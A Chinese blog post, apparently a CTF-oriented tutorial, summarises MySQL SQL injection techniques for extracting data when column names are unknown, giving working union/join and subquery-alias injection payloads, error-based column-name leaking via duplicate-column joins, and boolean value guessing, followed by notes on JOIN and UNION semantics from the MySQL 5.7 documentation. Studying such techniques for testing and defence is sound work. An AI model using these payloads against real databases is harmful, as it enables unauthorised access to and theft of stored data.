SQL无列名注入方法总结(基于union, join)

本文要点

  1. 本文整理出两种场景以及对应的攻击方法,第一种方法依赖于join clause,第二种方法依赖于union clause。
  2. 参考相关博文并简要介绍所使用的无列名注入攻击方法。
  3. 本文对SQL官方文档(5.7版本)阅读,对union clause, join clause 的性质进行解读。

 

一种基于join的无列名注入的场景与方法

select Host,User,Select_priv from user where User="root"

在上述场景中用户可以控制的输入是字符串"root",假设的攻击场景中我们可以突破双引号闭合并进行任意sql注入。但是我们无法获取到表的列名信息,只知道我们想要攻击的表的名字为"test"。(已经有好几篇文章交代了如何在information_schema被ban的情况下查询表名的方法)

  1. 使用order by 猜解查询语句的查询的字段数
  2. 构造下述查询语句,通过修改其中的“1”部分为"1,2,3,...,n",猜解"test"的列数。当列数猜解正确时,便成功提取了test表中的信息。
select Host,User,Select_priv from user where User="root" and 0=1 union select * from (select 1 as a) as a join test as b limit 1;

思路即通过使用join clause,我们可以将目标表“变形”为拥有任意列数(限制是大于等于目标表列数)的表,从而能够并入union clause,实现无列名注入攻击。

基于union select的无列名注入(子查询)

上面方法会存在失灵的情况,例如对于下述语句,select只查询了一个字段,而我们的test表总共有两个字段。并且我们同样不知道test的列名。而join方法显然不能使union select左右两侧查询的列数相等。

select Host from user where User="root"

直觉告诉如果对于test表的查询结果表的列进行重命名,就能提取我们想要的列的信息,通过学习参考资料,发现union select可以达成这一点:

我们需要通过修改其中的“1,2”部分为"1,2,3,...,n",猜解"test"的列数,另外请注意反引号的使用。

select Host from user where User="root" and 0=1 union select * from  (select `2` from (select 1,2 union select * from test) as b) as c limit 1 offset 1;

这种方法要好于第一种方法,因为select `2`部分可以修改为任意想要的列的组合,以配合查询语句回显所需要的信息。

参考与简述 

无列名注入 配合 union select

也被称之为基于“子查询”的无列名注入方法,这种方法在多篇博文中被提及,与本文中的第二种方法相似。

参考博文1

该博文中提到了一种基于join、using关键字和报错注入的列名爆破方法;

select * from ( select * from test as a join  test as b ) as c;
#利用join clause返回表的列名的性质,配合外面的Select语句触发重名列错误

select * from ( select * from test as a join  test as b using (id) ) as c;
#利用using的性质合并第一个重名列,目的是使用报错注入爆出第二个重名列

#但这么做不行。
select * from ( select * from test as a join  test as b on (a.id=b.id) ) as c

提到了一种通过构造表达式将问题转换为布尔注入的方法,如下所示:

# 首先,猜测Test表的字段数

# 构造一个选取对应字段数的select语句,使用类似布尔注入的方法猜解每个字段的值
# 例如在这条语句中你必须先爆破出第一个字段存储的值flagid,才能继续猜解第二个字段存储的值'flag{test}'
select ( (select 'fl','xxxx')>(select 'flagid','flag{test}' ) )

基础资料:关于join和union select的介绍

Join

Sql文档

1. 除了在Select语句中使用外,Join子句同样可在DELETE、UPDATE语句中使用。

MySQL supports the following JOIN syntax for the table_references part of SELECT statements and multiple-table DELETE and UPDATE statements.

2. 在table_references中,Join子句语法与以下成分有关:table_factor(表,子查询),search_condition(与on联用),join_column_list(与using联用)以及各种类型的Join(Inner, cross, left, right join)

3.

In MySQL, JOIN, CROSS JOIN, and INNER JOIN are syntactic equivalents; 

文档中还提到了Join,Cross JOIN,INNER JOIN在Standard Sql中的差异,在本文中不做进一步讨论。

If there is no matching row for the right table in the ON or USING part in a LEFT JOIN, a row with all columns set to NULL is used for the right table;

上述内容是关于Left Join的效果介绍。

RIGHT JOIN works analogously to LEFT JOIN. To keep code portable across databases, it is recommended that you use LEFT JOIN instead of RIGHT JOIN.


在部分数据库系统中未有囊括Right Join功能。因此Right Join可用于sql版本检测。

4.
 

INNER JOIN and , (comma) are semantically equivalent in the absence of a join condition: both produce a Cartesian product between the specified tables (that is, each and every row in the first table is joined to each and every row in the second table).

也就是说,查询“select * from A,B ”会对A表和B表做一个笛卡尔积作为输出结果。

5.

USING(join_column_list) clause names a list of columns that must exist in both tables. If tables a and b both contain columns c1, c2, and c3, the following join compares corresponding columns from the two tables:

a LEFT JOIN b USING (c1, c2, c3)

A USING clause can be rewritten as an ON clause that compares corresponding columns. However, although USING and ON are similar, they are not quite the same.
With respect to determining which columns to display:

select * from test as a join test as b on a.id=b.id and a.score=b.score;
# 查询结果总共包含4列,id score id score
select * from test as a join test as b using(id,score);
# 查询结果总共包含2列, id score

因此,尽管Using 和 On都能够用来定义表中数据的联结条件,但是它们在输出结果的形式上存在区别。

从原理上来讲,这是因为“using clause” 使用了函数COALESCE,该函数用途有待进一步挖掘。

Union 

参考资料:

文档

Union Clause的语法结构:

SELECT ...
UNION [ALL | DISTINCT] SELECT ...
[UNION [ALL | DISTINCT] SELECT ...]

1.联合查询所生成表的列名由第一个select所产生表的列名决定(基于这一事实才有了基于union 的无列名sql注入);union select 将多个查询子表汇总时,会出现列类型不一致的情况,此时Mysql会自动进行类型调整。

The column names for a UNION result set are taken from the column names of the first SELECT statement; The data types of corresponding SELECT columns do not match, the types and lengths of the columns in the UNION result take into account the values retrieved by all the SELECT statements.

2. Distinct / All ; 
Distinct关键字可以用来筛除union结果中完全一致的行(如果不填选关键字,则默认使用Distinct)

一个现象是一旦使用Distinct关键字,则必定会创建临时表,而all则不会。使用Explain语句可以证实这一现象的存在:

desc test;
#Id	int(11)	NO	PRI		auto_increment
#score	int(10)	YES			

desc test_multi_index;
#a	int(11)	YES	MUL		
#b	int(11)	YES			
#c	int(11)	YES			
#d	int(11)	YES			

explain select id from test  union all select a from test_multi_index;
#1	PRIMARY	test		index		PRIMARY	4		2	100.00	Using index
#2	UNION	test_multi_index		index		index_abc	15		1155	100.00	Using index


explain select id from test  union distinct select a from test_multi_index;
#1	PRIMARY	test		index		PRIMARY	4		2	100.00	Using index
#2	UNION	test_multi_index		index		index_abc	15		1155	100.00	Using index
#	UNION RESULT	<union1,2>		ALL							Using temporary
# 问题:是不是无论采取何种措施, Union distinct 必定需要创建临时表?


3. Limit order by;

To apply an ORDER BY or LIMIT clause to an individual SELECT, parenthesize the SELECT and place the clause inside the parentheses.

Use of ORDER BY for individual SELECT statements implies nothing about the order in which the rows appear in the final result because UNION by default produces an unordered set of rows.

Therefore, ORDER BY in this context typically is used in conjunction with LIMIT, to determine the subset of the selected rows to retrieve for the SELECT, even though it does not necessarily affect the order of those rows in the final UNION result. 

对individual SELECT使用order by不一定会影响union clause最终生成表的排序结果。但其可以用来指定individual select将选取哪些行参与union select。

文档中强调Union指令生成的是"unordered set of rows", 个人认为Union指令返回的行顺序,简单地沿用了各个individual select子查询中的行顺序,而individual select间的前后关系则根据语句中的位置而定。

对于 union distinct select 而言,在插入每行数据前,会检查其是否在已在临时表中出现,从explain的结果来看,这里的操作是“ALL”类型,因此效率不怎么好。

因此,Mysql在处理union clause时,如果individual select中包含order by 却没有limit ,那么order by会被“忽略”,具体例子如下所示:

(select * from (select score from test where id<=3 order by score)a) union all (select * from (select score from test where id >=4 order by score)b);

# 实际的查询结果
4
6
2
55
66
59


# test 表中的数据(id,score)
1	4
2	6
3	2
4	55
5	66
6	59

想对union clause返回的结果表进行排序操作的话,可以使用如下办法:

To use an ORDER BY or LIMIT clause to sort or limit the entire UNION result, parenthesize the individual SELECT statements and place the ORDER BY or LIMIT after the last one. 

 4. Union select 和 Group by + 聚类函数 不能一起使用。但是,在没有union select的情况下,聚类函数能在order by clause中使用吗?至少在两种情况下,报错信息是不同的。

UNION queries with an aggregate function in an ORDER BY clause are rejected with an ER_AGGREGATE_ORDER_FOR_UNION error. 

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值